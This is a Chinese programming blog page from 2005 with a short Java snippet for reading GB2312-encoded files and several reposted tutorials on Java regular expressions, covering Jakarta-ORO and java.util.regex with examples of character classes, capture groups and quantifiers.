快乐着飞舞着

Java读取文件中含有中文的解决办法

1
2         String b="";
3         String tmp=null;
4         try {
5             File f=new File("F:\\Eclipse\\MobileChart\\sms");
6             InputStreamReader isr= new InputStreamReader(new FileInputStream(f),"gb2312");
7             BufferedReader br=new BufferedReader(isr);
8             while((tmp=br.readLine())!=null)
9             {
10                 b+=tmp;
11             }
12         }catch(Exception e){
13             e.printStackTrace();
14         }

如上面代码所示只要指定编码形式就行了

posted @ 2005-08-17 11:29 快乐着飞舞着阅读(260) | 评论 (0) | 编辑收藏

Java正则表达式详解[转载]

Java正则表达式详解

仙人掌工作室

01-7-31 下午 04:13:03

如果你曾经用过Perl或任何其他内建正则表达式支持的语言，你一定知道用正则表达式处理文本和匹配模式是多么简单。如果你不熟悉这个术语，那么“正则表达式”（Regular Expression）就是一个字符构成的串，它定义了一个用来搜索匹配字符串的模式。

许多语言，包括Perl、PHP、Python、JavaScript和JScript，都支持用正则表达式处理文本，一些文本编辑器用正则表达式实现高级“搜索-替换”功能。那么Java又怎样呢？本文写作时，一个包含了用正则表达式进行文本处理的Java规范需求（Specification Request）已经得到认可，你可以期待在JDK的下一版本中看到它。

然而，如果现在就需要使用正则表达式，又该怎么办呢？你可以从Apache.org下载源代码开放的Jakarta-ORO库。本文接下来的内容先简要地介绍正则表达式的入门知识，然后以Jakarta-ORO API为例介绍如何使用正则表达式。

一、正则表达式基础知识

我们先从简单的开始。假设你要搜索一个包含字符“cat”的字符串，搜索用的正则表达式就是“cat”。如果搜索对大小写不敏感，单词“catalog”、“Catherine”、“sophisticated”都可以匹配。也就是说：

1.1 句点符号

假设你在玩英文拼字游戏，想要找出三个字母的单词，而且这些单词必须以“t”字母开头，以“n”字母结束。另外，假设有一本英文字典，你可以用正则表达式搜索它的全部内容。要构造出这个正则表达式，你可以使用一个通配符——句点符号“.”。这样，完整的表达式就是“t.n”，它匹配“tan”、“ten”、“tin”和“ton”，还匹配“t#n”、“tpn”甚至“t n”，还有其他许多无意义的组合。这是因为句点符号匹配所有字符，包括空格、Tab字符甚至换行符：

1.2 方括号符号

为了解决句点符号匹配范围过于广泛这一问题，你可以在方括号（“[]”）里面指定看来有意义的字符。此时，只有方括号里面指定的字符才参与匹配。也就是说，正则表达式“t[aeio]n”只匹配“tan”、“Ten”、“tin”和“ton”。但“Toon”不匹配，因为在方括号之内你只能匹配单个字符：

1.3 “或”符号

如果除了上面匹配的所有单词之外，你还想要匹配“toon”，那么，你可以使用“|”操作符。“|”操作符的基本意义就是“或”运算。要匹配“toon”，使用“t(a|e|i|o|oo)n”正则表达式。这里不能使用方扩号，因为方括号只允许匹配单个字符；这里必须使用圆括号“()”。圆括号还可以用来分组，具体请参见后面介绍。

1.4 表示匹配次数的符号

表一显示了表示匹配次数的符号，这些符号用来确定紧靠该符号左边的符号出现的次数：

假设我们要在文本文件中搜索美国的社会安全号码。这个号码的格式是999-99-9999。用来匹配它的正则表达式如图一所示。在正则表达式中，连字符（“-”）有着特殊的意义，它表示一个范围，比如从0到9。因此，匹配社会安全号码中的连字符号时，它的前面要加上一个转义字符“\”。

图一：匹配所有123-12-1234形式的社会安全号码

假设进行搜索的时候，你希望连字符号可以出现，也可以不出现——即，999-99-9999和999999999都属于正确的格式。这时，你可以在连字符号后面加上“？”数量限定符号，如图二所示：

图二：匹配所有123-12-1234和123121234形式的社会安全号码

下面我们再来看另外一个例子。美国汽车牌照的一种格式是四个数字加上二个字母。它的正则表达式前面是数字部分“[0-9]{4}”，再加上字母部分“[A-Z]{2}”。图三显示了完整的正则表达式。

图三：匹配典型的美国汽车牌照号码，如8836KV

1.5 “否”符号

“^”符号称为“否”符号。如果用在方括号内，“^”表示不想要匹配的字符。例如，图四的正则表达式匹配所有单词，但以“X”字母开头的单词除外。

图四：匹配所有单词，但“X”开头的除外

1.6 圆括号和空白符号

假设要从格式为“June 26, 1951”的生日日期中提取出月份部分，用来匹配该日期的正则表达式可以如图五所示：

图五：匹配所有Moth DD,YYYY格式的日期

新出现的“\s”符号是空白符号，匹配所有的空白字符，包括Tab字符。如果字符串正确匹配，接下来如何提取出月份部分呢？只需在月份周围加上一个圆括号创建一个组，然后用ORO API（本文后面详细讨论）提取出它的值。修改后的正则表达式如图六所示：

图六：匹配所有Month DD,YYYY格式的日期，定义月份值为第一个组

1.7 其它符号

为简便起见，你可以使用一些为常见正则表达式创建的快捷符号。如表二所示：

表二：常用符号

例如，在前面社会安全号码的例子中，所有出现“[0-9]”的地方我们都可以使用“\d”。修改后的正则表达式如图七所示：

图七：匹配所有123-12-1234格式的社会安全号码

二、Jakarta-ORO库

有许多源代码开放的正则表达式库可供Java程序员使用，而且它们中的许多支持Perl 5兼容的正则表达式语法。我在这里选用的是Jakarta-ORO正则表达式库，它是最全面的正则表达式API之一，而且它与Perl 5正则表达式完全兼容。另外，它也是优化得最好的API之一。

Jakarta-ORO库以前叫做OROMatcher，Daniel Savarese大方地把它赠送给了Jakarta Project。你可以按照本文最后参考资源的说明下载它。

我首先将简要介绍使用Jakarta-ORO库时你必须创建和访问的对象，然后介绍如何使用Jakarta-ORO API。

▲ PatternCompiler对象

首先，创建一个Perl5Compiler类的实例，并把它赋值给PatternCompiler接口对象。Perl5Compiler是PatternCompiler接口的一个实现，允许你把正则表达式编译成用来匹配的Pattern对象。

▲ Pattern对象

要把正则表达式编译成Pattern对象，调用compiler对象的compile()方法，并在调用参数中指定正则表达式。例如，你可以按照下面这种方式编译正则表达式“t[aeio]n”：

默认情况下，编译器创建一个大小写敏感的模式（pattern）。因此，上面代码编译得到的模式只匹配“tin”、“tan”、 “ten”和“ton”，但不匹配“Tin”和“taN”。要创建一个大小写不敏感的模式，你应该在调用编译器的时候指定一个额外的参数：

创建好Pattern对象之后，你就可以通过PatternMatcher类用该Pattern对象进行模式匹配。

▲ PatternMatcher对象

PatternMatcher对象根据Pattern对象和字符串进行匹配检查。你要实例化一个Perl5Matcher类并把结果赋值给PatternMatcher接口。Perl5Matcher类是PatternMatcher接口的一个实现，它根据Perl 5正则表达式语法进行模式匹配：

使用PatternMatcher对象，你可以用多个方法进行匹配操作，这些方法的第一个参数都是需要根据正则表达式进行匹配的字符串：

· boolean matches(String input, Pattern pattern)：当输入字符串和正则表达式要精确匹配时使用。换句话说，正则表达式必须完整地描述输入字符串。

· boolean matchesPrefix(String input, Pattern pattern)：当正则表达式匹配输入字符串起始部分时使用。

· boolean contains(String input, Pattern pattern)：当正则表达式要匹配输入字符串的一部分时使用（即，它必须是一个子串）。

另外，在上面三个方法调用中，你还可以用PatternMatcherInput对象作为参数替代String对象；这时，你可以从字符串中最后一次匹配的位置开始继续进行匹配。当字符串可能有多个子串匹配给定的正则表达式时，用PatternMatcherInput对象作为参数就很有用了。用PatternMatcherInput对象作为参数替代String时，上述三个方法的语法如下：

· boolean matches(PatternMatcherInput input, Pattern pattern)

· boolean matchesPrefix(PatternMatcherInput input, Pattern pattern)

· boolean contains(PatternMatcherInput input, Pattern pattern)

三、应用实例

下面我们来看看Jakarta-ORO库的一些应用实例。

3.1 日志文件处理

任务：分析一个Web服务器日志文件，确定每一个用户花在网站上的时间。在典型的BEA WebLogic日志文件中，日志记录的格式如下：

分析这个日志记录，可以发现，要从这个日志文件提取的内容有两项：IP地址和页面访问时间。你可以用分组符号（圆括号）从日志记录提取出IP地址和时间标记。

首先我们来看看IP地址。IP地址有4个字节构成，每一个字节的值在0到255之间，各个字节通过一个句点分隔。因此，IP地址中的每一个字节有至少一个、最多三个数字。图八显示了为IP地址编写的正则表达式：

图八：匹配IP地址

IP地址中的句点字符必须进行转义处理（前面加上“\”），因为IP地址中的句点具有它本来的含义，而不是采用正则表达式语法中的特殊含义。句点在正则表达式中的特殊含义本文前面已经介绍。

日志记录的时间部分由一对方括号包围。你可以按照如下思路提取出方括号里面的所有内容：首先搜索起始方括号字符（“[”），提取出所有不超过结束方括号字符（“]”）的内容，向前寻找直至找到结束方括号字符。图九显示了这部分的正则表达式。

图九：匹配至少一个字符，直至找到“]”

现在，把上述两个正则表达式加上分组符号（圆括号）后合并成单个表达式，这样就可以从日志记录提取出IP地址和时间。注意，为了匹配“- -”（但不提取它），正则表达式中间加入了“\s-\s-\s”。完整的正则表达式如图十所示。

图十：匹配IP地址和时间标记

现在正则表达式已经编写完毕，接下来可以编写使用正则表达式库的Java代码了。

为使用Jakarta-ORO库，首先创建正则表达式字符串和待分析的日志记录字符串：

这里使用的正则表达式与图十的正则表达式差不多完全相同，但有一点例外：在Java中，你必须对每一个向前的斜杠（“\”）进行转义处理。图十不是Java的表示形式，所以我们要在每个“\”前面加上一个“\”以免出现编译错误。遗憾的是，转义处理过程很容易出现错误，所以应该小心谨慎。你可以首先输入未经转义处理的正则表达式，然后从左到右依次把每一个“\”替换成“\\”。如果要复检，你可以试着把它输出到屏幕上。

初始化字符串之后，实例化PatternCompiler对象，用PatternCompiler编译正则表达式创建一个Pattern对象：

现在，创建PatternMatcher对象，调用PatternMatcher接口的contain()方法检查匹配情况：

接下来，利用PatternMatcher接口返回的MatchResult对象，输出匹配的组。由于logEntry字符串包含匹配的内容，你可以看到类如下面的输出：

3.2 HTML处理实例一

下面一个任务是分析HTML页面内FONT标记的所有属性。HTML页面内典型的FONT标记如下所示：

程序将按照如下形式，输出每一个FONT标记的属性：

在这种情况下，我建议你使用两个正则表达式。第一个如图十一所示，它从字体标记提取出“"face="Arial, Serif" size="+2" color="red"”。

图十一：匹配FONT标记的所有属性

第二个正则表达式如图十二所示，它把各个属性分割成名字-值对。

图十二：匹配单个属性，并把它分割成名字-值对

分割结果为：

现在我们来看看完成这个任务的Java代码。首先创建两个正则表达式字符串，用Perl5Compiler把它们编译成Pattern对象。编译正则表达式的时候，指定Perl5Compiler.CASE_INSENSITIVE_MASK选项，使得匹配操作不区分大小写。

接下来，创建一个执行匹配操作的Perl5Matcher对象。

假设有一个String类型的变量html，它代表了HTML文件中的一行内容。如果html字符串包含FONT标记，匹配器将返回true。此时，你可以用匹配器对象返回的MatchResult对象获得第一个组，它包含了FONT的所有属性：

接下来创建一个PatternMatcherInput对象。这个对象允许你从最后一次匹配的位置开始继续进行匹配操作，因此，它很适合于提取FONT标记内属性的名字-值对。创建PatternMatcherInput对象，以参数形式传入待匹配的字符串。然后，用匹配器实例提取出每一个FONT的属性。这通过指定PatternMatcherInput对象（而不是字符串对象）为参数，反复地调用PatternMatcher对象的contains()方法完成。PatternMatcherInput对象之中的每一次迭代将把它内部的指针向前移动，下一次检测将从前一次匹配位置的后面开始。

本例的输出结果如下：

3.3 HTML处理实例二

下面我们来看看另一个处理HTML的例子。这一次，我们假定Web服务器从widgets.acme.com移到了newserver.acme.com。现在你要修改一些页面中的链接：

执行这个搜索的正则表达式如图十三所示：

图十三：匹配修改前的链接

如果能够匹配这个正则表达式，你可以用下面的内容替换图十三的链接：

注意#字符的后面加上了$1。Perl正则表达式语法用$1、$2等表示已经匹配且提取出来的组。图十三的表达式把所有作为一个组匹配和提取出来的内容附加到链接的后面。

现在，返回Java。就象前面我们所做的那样，你必须创建测试字符串，创建把正则表达式编译到Pattern对象所必需的对象，以及创建一个PatternMatcher对象：

接下来，用com.oroinc.text.regex包Util类的substitute()静态方法进行替换，输出结果字符串：

Util.substitute()方法的语法如下：

这个调用的前两个参数是以前创建的PatternMatcher和Pattern对象。第三个参数是一个Substiution对象，它决定了替换操作如何进行。本例使用的是Perl5Substitution对象，它能够进行Perl5风格的替换。第四个参数是想要进行替换操作的字符串，最后一个参数允许指定是否替换模式的所有匹配子串（Util.SUBSTITUTE_ALL），或只替换指定的次数。

【结束语】在这篇文章中，我为你介绍了正则表达式的强大功能。只要正确运用，正则表达式能够在字符串提取和文本修改中起到很大的作用。另外，我还介绍了如何在Java程序中通过Jakarta-ORO库利用正则表达式。至于最终采用老式的字符串处理方式（使用StringTokenizer，charAt，和substring），还是采用正则表达式，这就有待你自己决定了。

posted @ 2005-08-16 10:23 快乐着飞舞着阅读(213) | 评论 (0) | 编辑收藏

正则表达式和Java编程语言[转载 ]

http://www.yesky.com/SoftChannel/72342371961929728/20030611/1706928.shtml

应用程序常常需要有文本处理功能，比如单词查找、电子邮件确认或XML文档集成。这通常会涉及到模式匹配。Perl、sed或awk等语言通过使用正则表达式来改善模式匹配，正则表达式是一串字符，它所定义的模式可用来查找匹配的文本。为了使用Java^TM编程语言进行模式匹配，需要使用带有许多charAt子字串的StringTokenizer 类，读取字母或符号以便处理文本。这常常导致复杂或凌乱的代码。

　　现在不一样了。

　　2平台标准版（J2SE^TM）1.4版包含一个名为java.util.regex的新软件包，使得使用正则表达式成为可能。目前的功能包括元字符的使用，它赋予正则表达式极大的灵活性

　　本文概括地介绍了正则表达式的使用，并详细解释如何利用 java.util.regex软件包来使用正则表达式，用以下常见情形作为例子：

简单的单词替换
电子邮件确认
从文件中删除控制字符
查找文件

　　为了编译这些例子中的代码和在应用程序中使用正则表达式，需要安装 J2SE 1.4版。

　　构造正则表达式

　　正则表达式是一种字符模式，它描述的是一组字符串。你可以使用 java.util.regex软件包，查找、显示或修改输入序列中出现的某个模式的一部分或全部。

　　正则表达式最简单的形式是一个精确的字符串，比如“Java”或 “programming”。正则表达式匹配还允许你检查一个字符串是否符合某个具体的句法形式，比如是不是一个电子邮件地址。

　　为了编写正则表达式，普通字符和特殊字符都要使用：

\$ ^ . *

+ ? [' ']

\.

　　正则表达式中出现的任何其他字符都是普通字符，除非它前面有个 \。

　　特殊字符有着特别的用处。例如，.可匹配除了换行符之外的任意字符。与 s.n这样的正则表达式匹配的是任何三个字符的、以s 开始以n结束的字符串，包括sun和son 。

　　在正则表达式中有许多特殊字符，可以查找一行开头的单词，忽略大小写或大小写敏感的单词，还有特殊字符可以给出一个范围，比如a-e表示从a到e的任何字母。

　　使用这个新软件包的正则表达式用法与Perl类似，所以如果你熟悉Perl中正则表达式的使用，就可以在Java语言中使用同样的表达式语法。如果你不熟悉正则表达式，下面是一些入门的例子：

构造匹配于

字符

x 字符 x

\\ 反斜线字符

\0n 八进制值的字符0n (0 <= n <= 7)

\0nn 八进制值的字符 0nn (0 <= n <= 7)

\0mnn 八进制值的字符0mnn 0mnn (0 <= m <= 3, 0 <= n <= 7)

\xhh 十六进制值的字符0xhh

\uhhhh 十六进制值的字符0xhhhh

\t 制表符('\u0009')

\n 换行符 ('\u000A')

\r 回车符 ('\u000D')

\f 换页符 ('\u000C')

\a 响铃符 ('\u0007')

\e 转义符 ('\u001B')

\cx T对应于x的控制字符 x

字符类

[abc] a, b, or c (简单类)

[^abc] 除了a、b或c之外的任意字符（求反）

[a-zA-Z] a到z或A到Z ，包含（范围)

[a-z-[bc]] a到z，除了b和c ： [ad-z]（减去）

[a-z-[m-p]] a到z，除了m到 p： [a-lq-z]

[a-z-[^def]] d, e, 或 f

预定义的字符类

. 任意字符（也许能与行终止符匹配，也许不能）

\d 数字: [0-9]

\D 非数字: [^0-9]

\s 空格符: [ \t\n\x0B\f\r]

\S 非空格符: [^\s]

\w 单词字符: [a-zA-Z_0-9]

\W 非单词字符: [^\w]

posted @ 2005-08-16 10:22 快乐着飞舞着阅读(203) | 评论 (0) | 编辑收藏

java正则表达式; regular expression[转载]

java正则表达式; regular expression

概要

文本处理经常涉及的根据一个pattern的匹配。尽管java的character和assorted 的String类提供了low-level的pattern-matching支持，这种支持一般带来了复杂的代码。为了帮助你书写简单的pattern-matching代码，java提供了regular expression。在介绍给你术语和java.util.regex包之后，Jeff Friesen explores 了许多那个包的Pattern类支持的正则表达式结构。然后他examines 了Pattern的方法和附加的java.util.regex 类。作为结束，他提供了一个正则表达式的实践应用。

为察看术语列表，提示与警告，新的homework，上个月homework的回答，这篇文章的相关材料，请访问study guide. (6,000 words; February 7, 2003)

By Jeff Friesen ，Translated By humx

文本处理经常的要求依据特定pattern匹配的代码。它能让文本检索，email header验证，从普通文本的自定义文本的创建（例如，用"Dear Mr. Smith" 替代 "Dear Customer"），等等成为可能。Java通过character和assorted string类支持pattern matching。由于low-level的支持一般带来了复杂的pattern-matching代码，java同时提供了regular expression来简代码。

Regular expressions经常让新手迷惑。然而, 这篇文章驱散了大部分混淆。在介绍了regular expression术语，java.util.regex 包中的类, 和一个regular expression constructs的示例程序之后, 我explore了许多Pattern类支持的regular expression constructs。我也examine了组成Pattern 和java.util.regex 包中其它类的方法。一个practical 的正则表达式的应用程序结束了我的讨论。

Note

Regular expressions的漫长历史开始于计算机科学理论领域自动控制原理和formal 语言理论。它的历史延续到Unix和其它的操作系统，在那里正则表达式被经常用作在Unix和Unix-like的工具中：像awk（一个由其创作者，Aho, Weinberger, and Kernighan，命名，能够进行文本分析处理的编程语言）, emacs (一个开发工具)，和grep (一个在一个或多个文件中匹配正则表达式，为了全局地正则表达式打印的工具。

什么是正则表达式?
A regular expression，也被known as regex or regexp，是一个描述了一个字符串集合的pattern(template)。这个pattern决定了什么样的字符串属于这个集合，它由文本字符和元字符（metacharacters，由有特殊的而不是字符含义的字符）组成。为了识别匹配的检索文本的过程—字符串满足一个正则表达式—称作模式匹配（pattern matching）。

Java''s java.util.regex 包通过Pattern，Matcher类和PatternSyntaxException异常支持pattern matching：

Pattern 对象，被known as patterns，是编译的正则表达式。
Matcher 对象，或者matchers，在，实现了java.lang.CharSequence接口并作为文本source的字符序列中定位解释matchers的引擎。
PatternSyntaxException 对象描述非法的regex patterns。
Listing 1 介绍这些类：

Listing 1. RegexDemo.java

// RegexDemo.java
import java.util.regex.*;

class RegexDemo {
public static void main (String [] args) {
if (args.length != 2)
System.err.println ("java RegexDemo regex text");
return;
}
Pattern p;
try {
p = Pattern.compile (args [0]);
}
catch (PatternSyntaxException e) {
System.err.println ("Regex syntax error: " + e.getMessage ());
System.err.println ("Error description: " + e.getDescription ());
System.err.println ("Error index: " + e.getIndex ());
System.err.println ("Erroneous pattern: " + e.getPattern ());
return;
}

String s = cvtLineTerminators (args [1]);
Matcher m = p.matcher (s);

System.out.println ("Regex = " + args [0]);
System.out.println ("Text = " + s);
System.out.println ();
while (m.find ()) {
System.out.println ("Found " + m.group ());
System.out.println (" starting at index " + m.start () +
" and ending at index " + m.end ());
System.out.println ();
}
}

// Convert \n and \r character sequences to their single character
// equivalents

static String cvtLineTerminators (String s) {
StringBuffer sb = new StringBuffer (80);

int oldindex = 0, newindex;
while ((newindex = s.indexOf ("\\n", oldindex)) != -1) {
sb.append (s.substring (oldindex, newindex));
oldindex = newindex + 2;
sb.append (''\n'');
}
sb.append (s.substring (oldindex));

s = sb.toString ();

sb = new StringBuffer (80);

oldindex = 0;
while ((newindex = s.indexOf ("\\r", oldindex)) != -1) {
sb.append (s.substring (oldindex, newindex));
oldindex = newindex + 2;
sb.append (''\r'');
}
sb.append (s.substring (oldindex));

return sb.toString ();
}
}

RegexDemo''s public static void main(String [] args) 方法validates 两个命令行参数：一个指出正则表达式，另外一个指出文本。在创建一个pattern之后，这个方法转换所有的文本参数，new-line and carriage-return line-terminator 字符序列为它们的实际meanings 。例如，一个new-line字符序列(由反斜杠后跟n表示)转换成一个new-line字符（用数字表示为10）。在输出了regex和被转换的命令行文本参数之后，main(String [] args) 方法从pattern创建了一个matcher，它随后查找了所有的matches 。对于每一个match，它所出现的字符和信息的位置被输出。

为了完成模式匹配，RegexDemo 调用了java.util.regex包中类的不同的方法。不要使你自己现在就理解这些方法；我们将在后边的文章探讨它们。更重要的是，编译 Listing 1: 你需要RegexDemo.class来探索Pattern''s regex 结构。

探索Pattern''s regex 构造

Pattern''s SDK 文档提供了一部分正则表达式结构的文档。除非你是一个avid正则表达式使用者，一个最初的那段文档的阅读会让你迷惑。什么是quantifiers，greedy之间的不同是什么, reluctant, 和 possessive quantifiers? 什么是 character classes， boundary matchers， back references, 和 embedded flag expressions? 为了回答这些和其它的问题，我们探索了许多Patter认可的regex constructs或 regex pattern 种类。我们从最简单的regex construct 开始：literal strings。

Caution

不要认为Pattern和Perl5的正则表达式结构是一样的。尽管他们有很多相同点，他们也有许多，它们支持的metacharacters结构的不同点。 (更多信息，察看在你的平台上的你的SDK Pattern类的文档。)

Literal strings

当你在字处理软件的检索对话框输入一个你指定一个literal string 的时候，你就指定了一个regex expression construct 。执行以下的RegexDemo 命令行来察看一下这个regex construct 的动作：

java RegexDemo apple applet

上边的这个命令行确定了apple 作为一个包含了字符a, p, p, l, and e（依次）的字符regex construct。这个命令行同时也确定了applet 作为pattern-matching的文本。执行命令行以后，看到以下输出：

Regex = apple
Text = applet

Found apple
starting at index 0 and ending at index 5

输出的regex 和text 命令行，预示着在applet中一个applet的成功的匹配，并表示了匹配的开始和结束的索引：分别为0和5。开始索引指出了一个pattern match出现的第一个文本的开始位置，结束索引指明了这个match后的第一个text的位置。换句话说，匹配的text的范围包含在开始索引和去掉结束索引之间（不包含结束索引）。

Metacharacters

尽管string regex constructs 是有用的，更强大的regex contsruct联合了文本字符和元字符。例如，在a.b，这个句点metacharacter (.) 代表在a个b之间出现的任何字符。为了察看元字符的动作，执行以下命令行：

java RegexDemo .ox "The quick brown fox jumps over the lazy ox."

以上命令指出.ox 作为regex ，和The quick brown fox jumps over the lazy ox.作为文本源text。RegexDemo 检索text来匹配以任意字符开始以ox结束的match，并产生如下输出：

Regex = .ox
Text = The quick brown fox jumps over the lazy ox.

Found fox
starting at index 16 and ending at index 19

Found ox
starting at index 39 and ending at index 42

这个输出展示了两个matches:fox和ox。. metacharacter 在第一个match中匹配f ，在第二个match中匹配空格。

假如我们用前述的metacharacter 替换.ox会怎么样呢？也就是，我们指定java RegexDemo . "The quick brown fox jumps over the lazy ox."会有什么样的输出，因为period metacharacter 匹配任何字符， RegexDemo 在命令行输出每一个匹配字符，包括结尾的period字符。

Tip

为了指定.或者任何的元字符作为在一个regex construct 作为literal character，引用—转换meta状态到literal status—用以下两种方法之一：

在元字符之前放置反斜杠。
将元字符放在\Q和\E之间（例如：\Q.\E）。
在每种情形下，不要忘记在string literal（例如：String regex = \\.;

）中出现时（像 \\. or \\Q.\\E）的双倍的反斜杠。不要在当它在命令行参数中出现的时候用双倍的反斜杠。

Character classes

有时我们限定产生的matches到一个特定的字符集和。例如，我们可以检索元音a, e, i, o, and u ，任何一个元音字符的出现都以为着一个match。A character类，通过在方括号之间的一个字符集和指定的regex construct ，帮我们完成这个任务。Pattern 支持以下的character classes：

简单字符: 支持被依次放置的字符串并仅匹配这些字符。例如：[abc] 匹配字符a, b, and c。以下的命令行提供了另外一个示例：
java RegexDemo [csw] cave

java RegexDemo [csw] cave [csw]中c匹配在cave中的c。没有其它的匹配存在。

否定: 以^ metacharacter 元字符开始且仅匹配没有在class中出现的字符。例如：[^abc]匹配所有除了a, b, 和c以外的字符，以下的命令行提供了另外一个示例：
java RegexDemo [^csw] cave

java RegexDemo [^csw] cave 匹配在cave中遇到的a, v, 和e。没有其它的匹配存在。

范围: 包含在元字符（-）左侧的字符开始，元字符（-）右侧字符结束的所有字符。仅匹配在范围内的字符。例如： [a-z] 匹配所有的小写字母。以下的命令行提供了另外一个示例：
java RegexDemo [a-c] clown

java RegexDemo [a-c] clown 匹配在clown中的c。没有其它的匹配存在。

Tip

通过将它们放置在一起来在一个range character class内联合多个范围。例如：[a-zA-Z] 匹配所有的大写和小写字母。

联合: 由多个嵌套的character classes组成，匹配属于联合结果的所有字符。例如：[a-d[m-p]] 匹配字符a到d和m到p。 characters a through d and m through p。以下的命令行提供了另外一个示例：
java RegexDemo [ab[c-e]] abcdef

java RegexDemo [ab[c-e]] abcdef 匹配它们在abcdef中的副本 a, b, c, d, and e。没有其它的匹配存在。

交集: 由所有嵌套的class的共同部分组成，且仅匹配字符的共同部分。例如：[a-z&&[d-f]] 匹配字符d, e, 和 f。以下的命令行提供了另外一个示例：
java RegexDemo [aeiouy&&[y]] party

java RegexDemo [aeiouy&&[y]] party 匹配在party中的y。没有其它的匹配存在。

差集: 由除了那些在否定嵌套character class中的字符外所有保留的字符组成。例如：[a-z&&[^m-p]] 匹配字符a到l和q到z。以下的命令行提供了另外一个示例：
java RegexDemo [a-f&&[^a-c]&&[^e]] abcdefg

java RegexDemo [a-f&&[^a-c]&&[^e]] abcdefg 匹配在abcdefg中的 d 和f。没有其它的匹配存在。

预定义的character classes

一些在regexes 中出现足够次数的character classes 提供了shortcuts。Pattern用预定义的character class提供了这样的shortcuts，如Table 1所示。使用预定义的character classes来简化你的regexes和最小化regex语法错误。

Table 1. 预定义的character classes

Predefined character class
Description

\d
A 数字。相当于[0-9]。

\D
A 非数字。相当于[^0-9]。

\s
A whitespace character。相当于[ \t\n\x0B\f\r]。

\S
A 非空格字符。相当于[^\s]。

\w
A 一个字符。相当于[a-zA-Z_0-9]。

\W
A 非字符，相当于[^\w]。

随后的命令行示例使用了\w预定义character class来identify 命令行中的所有word characters。

java RegexDemo \w "aZ.8 _"

上边的命令行产生了以下的输出，它展示了句点和space characters 不被考虑为word character：

Regex = \w
Text = aZ.8 _

Found a
starting at index 0 and ending at index 1

Found Z
starting at index 1 and ending at index 2

Found 8
starting at index 3 and ending at index 4

Found _
starting at index 5 and ending at index 6

Note

Pattern的SDK文档引用句点元字符作为匹配除了line terminator，一个或者两个标志一行结束的预定义的标志之外的任何字符，除非 dotall mode (随后讨论)有效。Pattern 识别以下line terminators：

The 回车符 (\r\)
The 回行符 (\n)
The 回车符紧跟回行符 (\r\n)
The 回行字符 (\u0085)
The 行分割字符 (\u2028)
The 段落分割字符 (\u2029)

捕获组

Pattern支持在pattern匹配的过程中，一个regex construct 调用capturing group 来保存为了以后recall 的match的字符；此结构是由圆括号包围的字符序列。在捕获的group中的所有字符在匹配的过程中被作为一个单独的单元。例如，(Java) capturing group 结合了字符 J, a, v, 和a为一个单独单元。Capturing group依据在text中Java的出现来匹配Java pattern。每一个match用下一个匹配的Java字符替代了前一个match保存的Java字符。

Capturing groups 在其它capturing groups内被嵌套。例如：在(Java( language))，( language) 在(Java)内嵌套。每一个嵌套或非嵌套的capturing group有它自己的数字，数字从1开始，Capturing 数字从左边至右。在这个例子中，(Java( language))是capturing group 1，( language)是capturing group 2。在(a)(b)，(a)是捕获组1，(b)是捕获组2。

每一个capturing group随后通过a back reference来recall保存的match。指定跟随在一个反斜杠后的数字来指示一个capturing group，back reference来 recalls 一个capturing group捕获的文本字符。一个back reference 的出现导致了一个matcher 使用the back reference的 capturing group number来recall捕获组保存的match ，然后使用匹配的字符进行进一步的匹配操作。随后的示例示范了为了检查语法错误进行的text 搜索的用法：

java RegexDemo "(Java( language)\2)" "The Java language language"

这个例子使用(Java( language)\2) regex为了检查语法错误，来检索字符串The Java language language，那里Java直接地在两个连续出现的language之前。Regex 指定了两个capturing groups： number 1 is (Java( language)\2)，它匹配Java language language，number 2 is ( language), 它匹配由language跟随的space characer。\2 back reference recalls number 2''s 保存的match，它允许matcher检索空格后跟随language的第二次出现，which 直接地跟随space character and language的第一次出现。随后的输出显示了RegexDemo''s matcher 找到了什么：

Regex = (Java( language)\2)
Text = The Java language language

Found Java language language
starting at index 4 and ending at index 26

量词

Quantifiers大概是理解起来最让人迷惑的regex 结构。一部分混淆来自于尽力的理解18个量词逻辑（六个基本逻辑被组织为三个主要逻辑）。其它的一个混淆来自于费尽的0长度匹配的理解。一旦你理解了这个概念和18 categories，大部分(假如不是全部)混淆将消失。

Note

简要地, 着一部分主要讨论18 个quantifier categories 和zero-length 匹配的概念。为了更详尽的讨论和更多示例，请学习The Java Tutoria 的"Quantifiers"部分。

一个quantifier 是一个隐式或显示的为一个pattern绑定一个数量值的正则表达式结构。这个数字值解决定了匹配一个pattern的次数。Pattern的六个基本的quantifiers匹配一个pattern一次或者根本不匹配，0次或者多次，一次或者多次，一个精确的数字次数，至少x次和至少x次但不超过y次。

六个基本的quantifier categories 在每一个三个主要的类别：greedy， reluctant和 possessive中复制。Greedy quantifiers 尝试找到最长的匹配。与之对照，reluctant quantifiers 尝试找到最短的匹配。Possessive quantifiers 也尝试找到最长的匹配。然而，他们和greedy quantifies在工作方式上不同。尽管greedy 和possessive quantifiers 迫使一个matcher 在进行第一次匹配之前读取整个的text，greedy quantifiers 常常导致为了找到一个match进行多次尝试，然而possessive quantifiers 让一个matcher 仅尝试一个match一次。

随后的示例描述了六种基本的quantifiers 在greedy category类别下，单个fundamental quantifier 在每一个 reluctant 和 possessive categories类别下的行为。这些示例也描述了0匹配的概念：

1. java RegexDemo a? abaa: 使用一个greedy quantifier 来在abaa中匹配a 一次或者根本不匹配。以下是输出结果：

Regex = a?
Text = abaa

Found a
starting at index 0 and ending at index 1

Found
starting at index 1 and ending at index 1

Found a
starting at index 2 and ending at index 3

Found a
starting at index 3 and ending at index 4

Found
starting at index 4 and ending at index 4

这个输出展示了五次匹配。尽管第一、三和四次匹配的出现展示了三次匹配中位置并不奇怪，第一、第五次的匹配大概有点奇怪。这个匹配好像指出a匹配b和文本的结束。然而，不是这种情况。a?并不查找b和文本结尾。相反，它查找a的出现或者缺失。当a? 查找a失败的时候，它以零长度的匹配返回那个事实(a缺失)，在零长度那里起始和结束位置的索引相同。Zero-length matches 发生在空文本, 最后一个文本字符之后，或者任何量个字符之间。

2. java RegexDemo a* abaa: 使用一个greedy quantifier在abaa 中匹配a零次或多次。以下是输出结果：

Regex = a*
Text = abaa

Found a
starting at index 0 and ending at index 1

Found
starting at index 1 and ending at index 1

Found aa
starting at index 2 and ending at index 4

Found
starting at index 4 and ending at index 4

输出展示了四次匹配。像使用 a?，a* 产生了zero-length 匹配。第三个匹配，a* 匹配了aa, 很有趣。不像 a?，a* 匹配一个或者多个连续的a。

3. java RegexDemo a+ abaa: 使用一个greedy quantifier在abaa 中匹配a一次或多次。以下是输出结果：

Regex = a+
Text = abaa

Found a
starting at index 0 and ending at index 1

Found aa
starting at index 2 and ending at index 4

